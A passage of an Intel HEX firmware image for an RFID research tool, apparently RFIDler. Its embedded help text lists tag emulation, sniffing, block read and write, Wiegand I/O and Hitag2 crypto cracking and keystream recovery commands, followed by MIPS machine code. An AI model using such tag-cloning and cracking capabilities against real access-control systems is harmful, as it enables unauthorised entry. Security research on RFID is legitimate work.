f70a1\n:1015880079205441472028616e64206f7074696f18\n:101598006e616c6c7920636f6e7665727429207445\n:1015a8006f205669727475616c2054414720286d0c\n:1015b8006179207265717569726520617574682f2b\n:1015c8006c6f67696e290d0a00000000444542559a\n:1015d80047205b312d345d20202020202020202032\n:1015e80020202020202020202020202020202020f3\n:1015f80020202020202020202020202020202020e3\n:10160800202020202020202020546f67676c652030\n:101618004445425547206c696e6520737461746552\n:1016280020286e6f20617267756d656e7420746f07\n:101638002053484f572063757272656e7420737417\n:1016480061746573290d0a0044454255474f464663\n:10165800203c302d343e2020202020202020202017\n:101668002020202020202020202020202020202072\n:101678002020202020202020202020202020202062\n:1016880020202020204445425547206f66662028a8\n:101698004c4f572920283020666f7220414c4c2926\n:1016a8000d0a000044454255474f4e203c302d342a\n:1016b8003e20202020202020202020202020202004\n:1016c8002020202020202020202020202020202012\n:1016d8002020202020202020202020202020202002\n:1016e800204445425547206f6e20284849474829dd\n:1016f80020283020666f7220414c4c290d0a0000ca\n:1017080044455445435420202020202020202020d8\n:1017180020202020202020202020202020202020c1\n:1017280020202020202020202020202020202020b1\n:1017380020202020202020202020202020446574e4\n:101748006563742065787465726e616c20636c6f74\n:10175800636b207769746820524541444552206381\n:101768006f696c0d0a000000444f4f52203c434cf7\n:101778004f53457c4f50454e3e20202020202020ae\n:101788002020202020202020202020202020202051\n:101798002020202020202020202020202020202041\n:1017a8002020202020436c6f7365206f72204f70bb\n:1017b800656e20444f4f522052454c41590d0a0046\n:1017c80044554d50203c535441525420424c4f43b1\n:1017d8004b3e205b454e4420424c4f434b5d2020fe\n:1017e80020202020202020202020202020202020f1\n:1017f8002020202020202020202020202052656129\n:101808006420616e64207669657720646174612064\n:10181800626c6f636b28732920286d61792072656b\n:10182800717569726520617574682f6c6f67696e70\n:10183800290d0a00454d55203c5549443e2020209d\n:101848002020202020202020202020202020202090\n:101858002020202020202020202020202020202080\n:101868002020202020202020202020202020202070\n:10187800204f6e652d73686f7420656d756c61748b\n:1018880065205549442077697468206375727265cc\n:101898006e742054414720636f6e6669670d0a00b5\n:1018a800454d554c41544f52205b42475d20202006\n:1018b8002020202020202020202020202020202020\n:1018c8002020202020202020202020202020202010\n:1018d80020202020202020202020202020436f6e40\n:1018e80074696e756f75736c7920656d756c61744c\n:1018f800652056544147205b6f7074696f6e616c48\n:101908006c7920696e20746865204261636b477248\n:101918006f756e645d0d0a00454e434f4445203c8b\n:101928005549443e205b544147545950455d202059\n:10193800202020202020202020202020202020209f\n:10194800202020202020202020202020202020208f\n:10195800202020202053686f772072617720484527\n:101968005820554944206f72206372656174652060\n:101978005654414720666f7220656e636f646564d4\n:10198800205549440d0a00004558414d504c4553d7\n:10199800202020202020202020202020202020203f\n:1019a800202020202020202020202020202020202f\n:1019b800202020202020202020202020202020201f\n:1019c800202020202053686f7720736f6d65206575\n:1019d8006d756c6174696f6e206578616d706c658a\n:1019e800730d0a0046534b203c484558205549443e\n:1019f8003e203c46433e203c524154453e203c5309\n:101a08005542303e203c535542313e203c524550d1\n:101a18004541543e20202020202020202020202026\n:101a280020456d756c6174652046534b2c204669c2\n:101a3800656c6420436c6f636b20696e2075532f4f\n:101a48003130302c20446174612052617465206902\n:101a58006e2052462f6e2c0d0a2020202020202098\n:101a6800202020202020202020202020202020206e\n:101a7800202020202020202020202020202020205e\n:101a8800202020202020202020202020202020204e\n:101a9800202020202020202020202020202020530b\n:101aa800756220436172726965727320302f31202c\n:101ab800696e2052462f6e0d0a00000046524551ad\n:101ac80055454e435920202020202020202020202a\n:101ad80020202020202020202020202020202020fe\n:101ae80020202020202020202020202020202020ee\n:101af80020202020202020202053686f7720726526\n:101b0800736f6e616e74206672657175656e637948\n:101b1800206f6620636f696c0d0a000048454c50c1\n:101b280020202020202020202020202020202020ad\n:101b3800202020202020202020202020202020209d\n:101b4800202020202020202020202020202020208d\n:101b580020202020202020202053686f77207468c0\n:101b680069732068656c700d0a0000004845585478\n:101b78004f42494e203c4845583e202020202020f6\n:101b8800202020202020202020202020202020204d\n:101b9800202020202020202020202020202020203d\n:101ba80020202020202020202053686f77204845bf\n:101bb800582061732042494e41525920737472690a\n:101bc8006e670d0a000000004849544147322d4312\n:101bd8005241434b203c4e522f50524e3e203c41e6\n:101be800522f5345435245543e2020202020202088\n:101bf80020202020202020202020202020202020dd\n:101c08002020202020437261636b2048695461675b\n:101c18003220636172642063727970746f20285374\n:101c28004e4946462d50574d206669727374290dea\n:101c38000a0000004849544147322d4b4559535436\n:101c48005245414d203c4e522f50524e3e203c4171\n:101c5800522f5345435245543e2020202020202017\n:101c6800202020202020202020202020202020206c\n:101c780020526574726965766520486954616732d7\n:101c880020636172642063727970746f206b657968\n:101c980073747265616d2028534e4946462d50571e\n:101ca8004d206669727374290d0a00004849544131\n:101cb80047322d524541444552205b4b45595d20e2\n:101cc8005b535d2020202020202020202020202061\n:101cd80020202020202020202020202020202020fc\n:101ce8002020202020202020205265616465722059\n:101cf8006d6f646520666f722063727970746f20ef\n:101d080061757468656e7469636174656420486997\n:101d180054616732206f7065726174696f6e7320e9\n:101d28002d20532073746f72657320746f204e5684\n:101d380052414d0d0a0000004849544147322d4395\n:101d48004c45415253544f52454454414753202027\n:101d5800202020202020202020202020202020207b\n:101d6800202020202020202020202020202020206b\n:101d78002020202020436c656172732074686520e0\n:101d880048695461673220746167732066726f6da9\n:101d9800204e5652414d0d0a00000000484954415a\n:101da80047322d434f554e5453544f524544544196\n:101db80047532020202020202020202020202020c1\n:101dc800202020202020202020202020202020200b\n:101dd800202020202020202020446973706c617905\n:101de8007320746865206e756d626572206f662059\n:101df80048695461673220746167732073746f7225\n:101e0800656420696e204e5652414d0d0a0000004f\n:101e18004849544147322d4c49535453544f524525\n:101e28004454414753205b53544152545d205b4511\n:101e38004e445d202020202020202020202020200b\n:101e480020202020202020202020202020446973ca\n:101e5800706c617973207468652073746f7265643f\n:101e680020746167732066726f6d20535441525419\n:101e780020746f20454e440d0a0000004c4f414429\n:101e8800202020202020202020202020202020204a\n:101e9800202020202020202020202020202020203a\n:101ea800202020202020202020202020202020202a\n:101eb8002020202020202020204c6f616420636f88\n:101ec8006e6669672066726f6d204e564d0d0a006a\n:101ed8004c4544203c312d363e2020202020202017\n:101ee80020202020202020202020202020202020ea\n:101ef80020202020202020202020202020202020da\n:101f080020202020202020202020202020546f67ff\n:101f1800676c65204c45440d0a0000004c45444f51\n:101f28004646203c302d363e2020202020202020f0\n:101f38002020202020202020202020202020202099\n:101f48002020202020202020202020202020202089\n:101f58002020202020202020204c4544206f666629\n:101f680020283020666f7220414c4c290d0a000051\n:101f78004c45444f4e203c302d363e20202020201a\n:101f88002020202020202020202020202020202049\n:101f98002020202020202020202020202020202039\n:101fa800202020202020202020202020204c4544b4\n:101fb800206f6e20283020666f7220414c4c290d0e\n:101fc8000a0000004c4f47494e205b5057445d20a3\n:101fd8005b424c4f434b5d202020202020202020b6\n:101fe80020202020202020202020202020202020e9\n:101ff80020202020202020202020202020202020d9\n:102008002041757468656e74696361746520696ed2\n:102018002050415353574f5244206d6f64650d0a49\n:102028000000000050494e4720202020202020207a\n:102038002020202020202020202020202020202098\n:102048002020202020202020202020202020202088\n:102058002020202020202020202020202020202078\n:10206800204b656570616c697665202d20707269fa\n:102078006e74732027524649446c6572270d0a0016\n:1020880050494e532020202020202020202020208e\n:102098002020202020202020202020202020202038\n:1020a8002020202020202020202020202020202028\n:1020b8002020202020202020202020202053686f4e\n:1020c8007720776972696e67206469616772616dec\n:1020d8002028616c6961733a20574952455320574b\n:1020e8004952494e47290d0a00000000504f5453e9\n:1020f80020202020202020202020202020202020d8\n:1021080020202020202020202020202020202020c7\n:1021180020202020202020202020202020202020b7\n:1021280020202020202020202053686f7720504f27\n:10213800542077697065722073657474696e67736b\n:102148000d0a0000504f54494e43203c487c4c3ef9\n:10215800203c312d3235353e2020202020202020e3\n:102168002020202020202020202020202020202067\n:102178002020202020202020202020202020202057\n:1021880020496e6372656d656e7420504f540d0a58\n:1021980000000000504f54444543203c487c4c3ece\n:1021a800203c312d3235353e202020202020202093\n:1021b8002020202020202020202020202020202017\n:1021c8002020202020202020202020202020202007\n:1021d8002044656372656d656e7420504f540d0a16\n:1021e80000000000504f545345545b565d5b4e56fb\n:1021f8005d203c487c4c3e203c302d3235353e201d\n:1022080020202020202020202020202020202020c6\n:1022180020202020202020202020202020202020b6\n:1022280020536574205b566f6c74735d5b4e6f6ee4\n:1022380020566f6c6174696c655d20504f5420772f\n:10224800697065720d0a000050534b31203c4845b7\n:1022580058205549443e203c46433e203c52415478\n:10226800453e203c5355423e203c52455045415442\n:102278003e20202020202020202020202020202038\n:102288002020202020456d756c6174652050534bcb\n:10229800312c204669656c6420436c6f636b206940\n:1022a8006e2075532f3130302c20446174612052d8\n:1022b80061746520696e2052462f6e2c0d0a20200d\n:1022c8002020202020202020202020202020202006\n:1022d80020202020202020202020202020202020f6\n:1022e80020202020202020202020202020202020e6\n:1022f80020202020202020202020202020202020d6\n:102308002020202053756220436172726965722013\n:10231800696e2052462f6e0d0a00000050574d205e\n:102328003c46433e203c534c4545503e203c57419b\n:102338004b453e203c5057303e203c5057313e20c4\n:102348003c4741503e203c545852583e203c52583d\n:1023580054583e2020202020205365742050574d8b\n:1023680020706172616d657465727320666f72208a\n:1023780052574420636f6d6d616e64732c204669fb\n:10238800656c6420436c6f636b20696e2075532ff6\n:102398003130302c2074696d696e677320696e2046\n:1023a8004643730d0a00000052454144203c5354f3\n:1023b80041525420424c4f434b3e205b454e4420f3\n:1023c800424c4f434b5d20202020202020202020fd\n:1023d80020202020202020202020202020202020f5\n:1023e80020202020205265616420616e642073746f\n:1023f8006f7265206461746120626c6f636b28730f\n:102408002920286d6179207265717569726520616e\n:102418007574682f6c6f67696e290d0a00000000db\n:1024280052454144455220202020202020202020b1\n:102438002020202020202020202020202020202094\n:102448002020202020202020202020202020202084\n:1024580020202020202020202020202020476f20fe\n:10246800696e746f20524541444552206d6f646512\n:102478002028636f6e74696e756f75736c7920614f\n:1024880063717569726520554944290d0a00000079\n:102498005245424f4f542020202020202020202029\n:1024a8002020202020202020202020202020202024\n:1024b8002020202020202020202020202020202014\n:1024c800202020202020202020202020205065723d\n:1024d800666f726d20736f66742072657365740d14\n:1024e8000a000000525443202020202020202020d1\n:1024f80020202020202020202020202020202020d4\n:1025080020202020202020202020202020202020c3\n:1025180020202020202020202020202020202020b3\n:102528002053686f77205265616c2054696d65206f\n:10253800436c6f636b0d0a00525744203c42494e6e\n:102548004152593e202020202020202020202020d9\n:102558002020202020202020202020202020202073\n:102568002020202020202020202020202020202063\n:10257800202020202053656e642062696e61727984\n:1025880020636f6d6d616e642f646174610d0a0064\n:102598005341564520202020202020202020202084\n:1025a8002020202020202020202020202020202023\n:1025b8002020202020202020202020202020202013\n:1025c8002020202020202020202020202053617639\n:1025d800652063757272656e7420636f6e666967d5\n:1025e80020746f204e564d0d0a00000053454c458f\n:1025f8004354205b5549445d202020202020202082\n:1026080020202020202020202020202020202020c2\n:1026180020202020202020202020202020202020b2\n:1026280020202020202020202053656e6420534540\n:102638004c45435420636f6d6d616e640d0a000054\n:102648005345542042495048415345203c4f4e7c05\n:102658004f46463e202020202020202020202020d9\n:102668002020202020202020202020202020202062\n:102678002020202020202020202020202053657486\n:10268800204269506861736520656e636f64696e86\n:10269800670d0a005345542042495453203c42498f\n:1026a80054533e202020202020202020202020209d\n:1026b8002020202020202020202020202020202012\n:1026c8002020202020202020202020202020202002\n:1026d80020536574206e756d626572206f66206484\n:1026e80061746120626974730d0a000053455420b7\n:1026f8004643203c504552494f443e20202020204c\n:1027080020202020202020202020202020202020c1\n:1027180020202020202020202020202020202020b1\n:102728002020202020202020205365742046696521\n:102738006c6420436c6f636b20696e2075532f3176\n:1027480030300d0a0000000053455420494e5645cc\n:102758005254203c4f4e7c4f46463e20202020209d\n:102768002020202020202020202020202020202061\n:102778002020202020202020202020202020202051\n:102788002020202020536574206461746120696ec4\n:1027980076657273696f6e0d0a0000005345542008\n:1027a8004d414e43484553544552203c4f4e7c4f73\n:1027b80046463e20202020202020202020202020a7\n:1027c8002020202020202020202020202020202001\n:1027d800202020202020202020536574204d616e69\n:1027e8006368657374657220656e636f64696e678c\n:1027f8000d0a0000534554204d4f44203c41534b93\n:102808007c46534b7c50534b313e202020202020c7\n:1028180020202020202020202020202020202020b0\n:1028280020202020202020202020202020202020a0\n:1028380020536574206d6f64756c6174696f6e20c8\n:10284800736368656d650d0a0000000053455420e8\n:1028580050534b203c5155414c4954593e2020205f\n:102868002020202020202020202020202020202060\n:102878002020202020202020202020202020202050\n:10288800202020202020202020536574206d696e90\n:10289800696d756d2050534b2070756c736520778a\n:1028a8006964746820696e2075530d0a0000000081\n:1028b8005345542052415445203c524154453e20f2\n:1028c8002020202020202020202020202020202000\n:1028d80020202020202020202020202020202020f0\n:1028e8002020202020202020202020202053657414\n:1028f8002044617461205261746520696e205246db\n:102908002f6e202846432f626974290d0a000000a3\n:1029180053455420524550454154203c524550455a\n:1029280041543e202020202020202020202020202c\n:10293800202020202020202020202020202020208f\n:1029480020202020202020202020202020536574b3\n:1029580020656d756c6174696f6e207472616e7339\n:102968006d697373696f6e207265706574697469d7\n:102978006f6e730d0a0000005345542053554230c2\n:10298800203c524154453e20202020202020202059\n:10299800202020202020202020202020202020202f\n:1029a800202020202020202020202020202020201f\n:1029b80020202020205365742053756220436172c3\n:1029c8007269657220302064617461207261746577\n:1029d80020696e2052462f6e202846432f62697464\n:1029e800290d0a005345542053554231203c524189\n:1029f80054453e2020202020202020202020202058\n:102a080020202020202020202020202020202020be\n:102a180020202020202020202020202020202020ae\n:102a28002053657420537562204361727269657220\n:102a380020312064617461207261746520696e20a0\n:102a480052462f6e202846432f626974290d0a00ca\n:102a58005345542053594e4342495453203c42490c\n:102a680054533e20202020202020202020202020d9\n:102a7800202020202020202020202020202020204e\n:102a88002020202020202020202020202053657472\n:102a9800206e756d626572206f662053594e432013\n:102aa800626974730d0a00005345542053594e430c\n:102ab8003c302d333e203c4845583e2020202020e5\n:102ac80020202020202020202020202020202020fe\n:102ad80020202020202020202020202020202020ee\n:102ae80020202020205365742053594e43206279ba\n:102af800746520302d330d0a000000005345542022\n:102b0800544147203c545950453e20202020202045\n:102b180020202020202020202020202020202020ad\n:102b2800202020202020202020202020202020209d\n:102b380020202020202020202053657420706172de\n:102b4800616d657465727320617070726f707269ff\n:102b580061746520666f722054414720545950456e\n:102b68000d0a00005345542056544147203c5459ff\n:102b780050453e20202020202020202020202020da\n:102b8800202020202020202020202020202020203d\n:102b9800202020202020202020202020202020202d\n:102ba80020536574205669727475616c20544147ce\n:102bb80020545950450d0a00534e49464645522067\n:102bc80020202020202020202020202020202020fd\n:102bd80020202020202020202020202020202020ed\n:102be80020202020202020202020202020202020dd\n:102bf8002020202020476f20696e746f20534e4993\n:102c080046464552206d6f64652028636f6e74696f\n:102c18006e756f75736c7920736e69666620554999\n:102c280044290d0a00000000534e4946462d5057ce\n:102c38004d205b4d494e204741505d205b4d494e2c\n:102c48002050554c53455d205b4d45534720474127\n:102c5800505d2020202020202020202020202020ff\n:102c68002020202020536e6966662050574d206f23\n:102c78006e2065787465726e616c20636c6f636b2f\n:102c880020776974682052454144455220636f6932\n:102c98006c2e2056616c75657320696e2075532003\n:102ca8002864656661756c742031322f302f3029a5\n:102cb8002e0d0a00534e4946462d50574d203c4391\n:102cc8007c537c4c3e2020202020202020202020c7\n:102cd80020202020202020202020202020202020ec\n:102ce80020202020202020202020202020202020dc\n:102cf80020536e6966662050574d202848695461f4\n:102d08006732206d6f64652920746f204e565241da\n:102d18004d202d20434c4541522c2053544f5245b1\n:102d28002c204c4953540d0a0000000053544f50b6\n:102d3800202020202020202020202020202020208b\n:102d4800202020202020202020202020202020207b\n:102d5800202020202020202020202020202020206b\n:102d680020202020202020202053746f7020616ea6\n:102d7800792072756e6e696e6720636c6f636b7312\n:102d88000d0a0000544147532020202020202020f5\n:102d9800202020202020202020202020202020202b\n:102da800202020202020202020202020202020201b\n:102db800202020202020202020202020202020200b\n:102dc8002053686f77206b6e6f776e2054414720d1\n:102dd80054595045530d0a0054434f4e4649472015\n:102de80020202020202020202020202020202020db\n:102df80020202020202020202020202020202020cb\n:102e080020202020202020202020202020202020ba\n:102e1800202020202053686f7720544147277320b3\n:102e2800636f6e66696720626c6f636b0d0a0000e2\n:102e3800544553542d4849544147202020202020f0\n:102e4800202020202020202020202020202020207a\n:102e5800202020202020202020202020202020206a\n:102e68002020202020202020202020202048697495\n:102e78006167322063727970746f202d20746573d6\n:102e88007420636f72726563746e65737320262095\n:102e980074696d696e670d0a00000000544553544b\n:102ea8002d525744205b484558204b45597c50418a\n:102eb800545445524e7c5057445d202020202020f9\n:102ec80020202020202020202020202020202020fa\n:102ed80020202020202020202046696e642069645c\n:102ee80065616c20706172616d61746572732066d2\n:102ef8006f722052574420636f6d6d616e64730d5d\n:102f08000a000000544553542d534320202020200c\n:102f180020202020202020202020202020202020a9\n:102f28002020202020202020202020202020202099\n:102f38002020202020202020202020202020202089\n:102f480020546573742049534f2d37383136205338\n:102f58006d617274636172642028676574204154de\n:102f680052290d0a00000000544553542d534420a3\n:102f78002020202020202020202020202020202049\n:102f88002020202020202020202020202020202039\n:102f98002020202020202020202020202020202029\n:102fa80020202020205465737420534420636172cc\n:102fb8006420286469726563746f7279206c697320\n:102fc80074696e67290d0a00544553542d54494db0\n:102fd8004552202020202020202020202020202092\n:102fe80020202020202020202020202020202020d9\n:102ff80020202020202020202020202020202020c9\n:10300800202020202054696d6572207465737473c4\n:103018000d0a0000544553542d57494547414e4425\n:103028002020202020202020202020202020202098\n:103038002020202020202020202020202020202088\n:103048002020202020202020202020202020202078\n:103058002057696567616e64206c6f6f7062616389\n:103068006b20746573740d0a0000000054455354b6\n:103078002d57494547414e442d52454144203c4433\n:10308800454255472050494e3e20202020202020f0\n:103098002020202020202020202020202020202028\n:1030a80020202020202020202057696567616e6439\n:1030b8002072656164657220746573742028747267\n:1030c800696767657273207769746820444542555b\n:1030d800475f50494e5f58290d0a00005452455326\n:1030e8004554205b5057445d20202020202020207c\n:1030f80020202020202020202020202020202020c8\n:1031080020202020202020202020202020202020b7\n:103118002020202020202020205265736574205410\n:103128004147277320636f6e66696720626c6f631f\n:103138006b20746f2064656661756c740d0a0000fd\n:103148005452495354415445203c4f4e7c4f4646b7\n:103158003e20202020202020202020202020202049\n:103168002020202020202020202020202020202057\n:103178002020202020202020202020202053776974\n:10318800746368207265616465722063697263752f\n:103198006974207472692d7374617465204f4e2fa1\n:1031a8004f46460d0a0000005457495045205b50d1\n:1031b80057445d202020202020202020202020206f\n:1031c80020202020202020202020202020202020f7\n:1031d80020202020202020202020202020202020e7\n:1031e80020202020205265736574205441472063b5\n:1031f8006f6e74656e747320746f20646566617594\n:103208006c7420282a2a2a20616c6c2064617461fd\n:103218002077696c6c206265206c6f737421290dae\n:103228000a0000005549442020202020202020208a\n:103238002020202020202020202020202020202086\n:103248002020202020202020202020202020202076\n:103258002020202020202020202020202020202066\n:10326800205265616420544147205549440d0a00a5\n:1032780056455253494f4e20202020202020202000\n:103288002020202020202020202020202020202036\n:103298002020202020202020202020202020202026\n:1032a8002020202020202020202020202053686f4c\n:1032b80077206669726d77617265207665727369c9\n:1032c8006f6e0d0a00000000565441472020202050\n:1032d80020202020202020202020202020202020e6\n:1032e80020202020202020202020202020202020d6\n:1032f80020202020202020202020202020202020c6\n:10330800202020202053686f7720636f6e74656ecd\n:103318007473206f66205669727475616c2054410d\n:10332800470d0a00565752495445203c424c4f43da\n:103338004b3e203c48455820444154413e202020e3\n:103348002020202020202020202020202020202075\n:103358002020202020202020202020202020202065\n:10336800205772697465205654414720646174611e\n:1033780020626c6f636b2873290d0a005749454713\n:10338800414e442d4c4541524e20202020202020e3\n:103398002020202020202020202020202020202025\n:1033a8002020202020202020202020202020202015\n:1033b8002020202020202020204c6561726e20577c\n:1033c800696567616e6420696e7075742074696dd3\n:1033d800696e67730d0a000057494547414e442df1\n:1033e8004f5554203c4f46467c4f4e3e20202020cf\n:1033f80020202020202020202020202020202020c5\n:1034080020202020202020202020202020202020b4\n:1034180020202020205365742057696567616e64f9\n:10342800206f7574707574204f4646206f72204f58\n:103438004e0d0a0057494547414e442d52454144d7\n:103448002020202020202020202020202020202074\n:103458002020202020202020202020202020202064\n:103468002020202020202020202020202020202054\n:1034780020526561642057696567616e6420696ed2\n:103488007075740d0a00000057494547414e442d98\n:103498005752495445203c42494e4152593e2020fa\n:1034a8002020202020202020202020202020202014\n:1034b8002020202020202020202020202020202004\n:1034c800202020202053656e642057696567616e4f\n:1034d80064206f75747075740d0a00005749504563\n:1034e80020202020202020202020202020202020d4\n:1034f80020202020202020202020202020202020c4\n:1035080020202020202020202020202020202020b3\n:1035180020202020202020202057697065204e562a\n:103528004d0d0a005752495445203c424c4f434bdd\n:103538003e203c48455820444154413e202020200c\n:103548002020202020202020202020202020202073\n:103558002020202020202020202020202020202063\n:10356800205772697465206461746120626c6f63ae\n:103578006b20286d61792072657175697265206ca0\n:103588006f67696e2f61757468290d0a0000000065\n:103598005749524553202020202020202020202039\n:1035a8002020202020202020202020202020202013\n:1035b8002020202020202020202020202020202003\n:1035c8002020202020202020202020202053686f29\n:1035d8007720776972696e67206469616772616dc7\n:1035e8002028616c6961733a20574952494e472037\n:1035f80050494e53290d0a00574952494e47202039\n:1036080020202020202020202020202020202020b2\n:1036180020202020202020202020202020202020a2\n:103628002020202020202020202020202020202092\n:10363800202020202053686f7720776972696e6791\n:10364800206469616772616d2028616c6961733af1\n:103658002057495245532050494e53290d0a00001e\n:0c3668000000803f20bcbe4ca1a0a03c94\n:020000040000fa\n:020000041d02db\n:1036740010ffbd27ec00bfafe800beaf21f0a003f0\n:10368400f000c4aff400c5af1400c0af049d023c09\n:10369400dc5544242013410f000000001800c22709\n:1036a40021204000d2ad400f00000000080040146b\n:1036b40000000000049d023ce05544242013410f07\n:1036c40000000000211000003f8e400b00000000ad\n:1036d4002400c3271800c2272120600021284000ad\n:1036e400e7b8400f00000000f400c48f2000052458\n:1036f4002e57410f000000001400c2af1400c28f07\n:103704000800401400000000049d023cf4554424c9\n:103714002013410f00000000211000003f8e400bd9\n:10372400000000001400c28f000040a04400c22723\n:1037340021204000f400c58fe7b8400f00000000ce\n:10374400211840002000022408006210000000003c\n:10375400049d023c185644242013410f000000002d\n:10376400211000003f8e400b000000001400c28fa7\n:10377400010042244400c327200063242120600068\n:1037840021284000e7b8400f000000002118400045\n:10379400200002240800621000000000049d023c86\n:1037a400345644242013410f00000000211000006f\n:1037b4003f8e400b000000008400c3274400c22752\n:1037c4002120600021284000458e400f00000000a9\n:1037d4000800401400000000049d023c505644249c\n:1037e4002013410f00000000211000003f8e400b09\n:1037f400000000009c00c4278400c5274400c327a0\n:103804002400c2272130600021384000d28e400fae\n:10381400000000000800401400000000049d023c69\n:10382400785644242013410f0000000021100000aa\n:103834003f8e400b00000000f000c28f000040a04b\n:103844001000c0af3a8e400b000000001000c28f81\n:10385400ff00423021284000c800c4274400c32789\n:103864009c00c22721306000213840000d90400f99\n:10387400000000000c00401000000000d400c3272a\n:10388400c800c22721206000049d033ca85665247b\n:103894001000c68f21384000ac54410f00000000d6\n:1038a400328e400b00000000d400c22721204000cb\n:1038b400049d023cb45645241000c68fac54410ffd\n:1038c40000000000d400c227f000c48f212840006b\n:1038d4005856410f000000001000c28f010042241e\n:1038e4001000c2af1000c28f08004228d7ff401456\n:1038f400000000000100022421e8c003ec00bf8f97\n:10390400e800be8ff000bd270800e00300000000bf\n:10391400c8ffbd273400bfaf3000beaf21f0a00305\n:103924003800c4af3c00c5af049d023cbc564424df\n:103934002013410f000000001000c0a3c38e400bf1\n:10394400000000001100c0a3bc8e400b000000006a\n:103954001200c0a3b58e400b000000001300c0a3ea\n:10396400ae8e400b000000001400c0a3a78e400bd5\n:10397400000000001500c0a3a08e400b0000000052\n:103984001000c2931800c2a31100c2931900c2a36d\n:103994001200c2931a00c2a31300c2931b00c2a355\n:1039a4001400c2931c00c2a31d00c0a31500c2933f\n:1039b4001e00c2a31f00c0a32000c0a32100c0a3f7\n:1039c4002400c3271800c227212060003c00c58fb3\n:1039d400213040000a0007248e90400f00000000b0\n:1039e4001b004010000000002400c22721204000da\n:1039f400049d023ce0564524734d410f0000000035\n:103a040017004010000000003800c28f1800c48f57\n:103a14001c00c38f030044a8000044b8070043a857\n:103a2400040043b82000c393080043a02100c393bb\n:103a3400090043a0049d023cdc5544242013410f9b\n:103a44000000000001000224cc8e400b00000000a6\n:103a5400049d023cec5644242013410f0000000056\n:103a6400049d023c2c5744242013410f0000000005\n:103a74001500c293010042241500c2a31500c2938d\n:103a84000200422cbeff4014000000001400c29348\n:103a9400010042241400c2a31400c2930200422c69\n:103aa400b4ff4014000000001300c293010042243c\n:103ab4001300c2a31300c2930200422caaff4014b5\n:103ac400000000001200c293010042241200c2a3ad\n:103ad4001200c2930200422ca0ff40140000000018\n:103ae4001100c293010042241100c2a31100c29329\n:103af4000200422c96ff4014000000001000c29304\n:103b0400010042241000c2a31000c2930200422c00\n:103b14008cff401400000000049d023c30574424f4\n:103b24002013410f000000002110000021e8c00311\n:103b34003400bf8f3000be8f3800bd270800e0037b\n:103b440000000000a0ffbd275c00bfaf5800beaf5f\n:103b540021f0a0036000c4af6400c5af6800c6af25\n:103b64006c00c7af049d023c745744242013410fda\n:103b7400000000001800c0a3728f400b000000007a\n:103b84001900c0a36b8f400b000000001a00c0a3f3\n:103b9400648f400b000000001b00c0a35d8f400b2e\n:103ba400000000006400c28f0300438821206000ed\n:103bb4000000449807004388040043981c00c4afe5\n:103bc4002000c3af080043902400c3a3090042901f\n:103bd4002500c2a31800c293090040100000000091\n:103be4002100c2930100422cff0042302100c2a3f5\n:103bf4001c00c2930100422cff0042301c00c2a3ef\n:103c04001900c29309004010000000002300c29371\n:103c14000100422cff0042302300c2a31e00c293c5\n:103c24000100422cff0042301e00c2a31a00c293be\n:103c340009004010000000002400c2930100422c3f\n:103c4400ff0042302400c2a31f00c2930100422c93\n:103c5400ff0042301f00c2a31b00c29309004010a2\n:103c6400000000002500c2930100422cff004230f6\n:103c74002500c2a32000c2930100422cff00423061\n:103c84002000c2a32800c3271c00c22721206000f3\n:103c94006800c58f213040000a0007248e90400f31\n:103ca4000000000027004010000000002800c22788\n:103cb40021204000049d023ce0564524734d410ff1\n:103cc4000000000019004010000000003400c32769\n:103cd4002800c2272120600021284000e7b8400fb7\n:103ce400000000001c00c2273400c3271000a3af4b\n:103cf4006000c48f6800c58f213040006c00c78ffe\n:103d0400818f400f000000001200401000000000ee\n:103d1400049d023cdc5544242013410f00000000a4\n:103d2400010002247b8f400b00000000049d023c34\n:103d3400945744242013410f00000000568f400b79\n:103d440000000000049d023ce85744242013410f66\n:103d540000000000049d023c2c5744242013410f12\n:103d6400000000001b00c293010042241b00c2a3f8\n:103d74001b00c2930200422c8aff40140000000082\n:103d84001a00c293010042241a00c2a31a00c2936b\n:103d94000200422c80ff4014000000001900c2936e\n:103da400010042241900c2a31900c2930200422c4c\n:103db40076ff4014000000001800c2930100422462\n:103dc4001800c2a31800c2930200422c6cff4014d6\n:103dd40000000000049d023c285844242013410f95\n:103de400000000002110000021e8c0035c00bf8f28\n:103df4005800be8f6000bd270800e00300000000eb\n:103e040030ffbd27cc00bfafc800beaf21f0a00378\n:103e1400d000c4afd400c5afd800c6afdc00c7af74\n:103e24001400c22721204000d800c58f0a000624b0\n:103e3400494a410f000000001400c2270a0042242e\n:103e440021204000e000c58f20000624494a410f8c\n:103e5400000000004000c22721204000049d023cd5\n:103e64007c58452477ba400f000000004000c22768\n:103e74000a00422421204000dc00c58f20000624d3\n:103e8400494a410f000000004000c3271400c22724\n:103e9400d000c48f21286000213040002a0007246c\n:103ea400e88f400f000000001000c0afbc8f400b33\n:103eb400000000001000c28f4010020080180200b1\n:103ec400211043006c00c327211062002120400010\n:103ed400049d023c7c58452477ba400f0000000042\n:103ee4001000c28f010042241000c2af1000c28f24\n:103ef40004004228efff4014000000009400c32790\n:103f04006c00c2272120600021284000d000c68f09\n:103f140028000724e88f400f00000000bc00c327de\n:103f24009400c22721206000d400c58f21304000b6\n:103f3400280007248e90400f000000000c00401061\n:103f440000000000bc00c22721204000049d023c68\n:103f5400e0564524734d410f000000000800401056\n:103f64000000000001000224e28f400b000000006a\n:103f7400049d023c885844242013410f0000000093\n:103f84002110000021e8c003cc00bf8fc800be8f01\n:103f9400d000bd270800e00300000000f0ffbd27ab\n:103fa4000c00beaf21f0a0031000c4af1400c5afd5\n:103fb4001800c6af1c00c7af0000c0af0390400b91\n:103fc400000000000000c28f1000c38f21106200a7\n:103fd4000000c38f1400c48f211883000000649074\n:103fe4000000c38f1800c58f2118a3000000639040\n:103ff40026188300ff006330000043a00000c28f36\n:10400400010042240000c2af0000c38f1c00c28f15\n:104014002b106200ebff40140000000021e8c003f5\n:104024000c00be8f1000bd270800e0030000000054\n:1040340080ffbd277c00bfaf7800beaf21f0a00396\n:104044008000c4af2110a0008800c6af8c00c7afa9\n:104054008400c2a38400c2930800422c08004014c8\n:1040640000000000049d023cc45844242013410f66\n:1040740000000000211000008890400b00000000a8\n:104084001000c22721204000049d023c7c58452496\n:1040940077ba400f000000008400c2930100423050\n:1040a40009004010000000001900c2930100422cd6\n:1040b400ff0042301900c2a31400c2930100422c35\n:1040c400ff0042301400c2a38400c29302004230b5\n:1040d40009004010000000001800c2930100422ca7\n:1040e400ff0042301800c2a31300c2930100422c07\n:1040f400ff0042301300c2a38400c2930400423084\n:1041040009004010000000001700c2930100422c77\n:10411400ff0042301700c2a31200c2930100422cd8\n: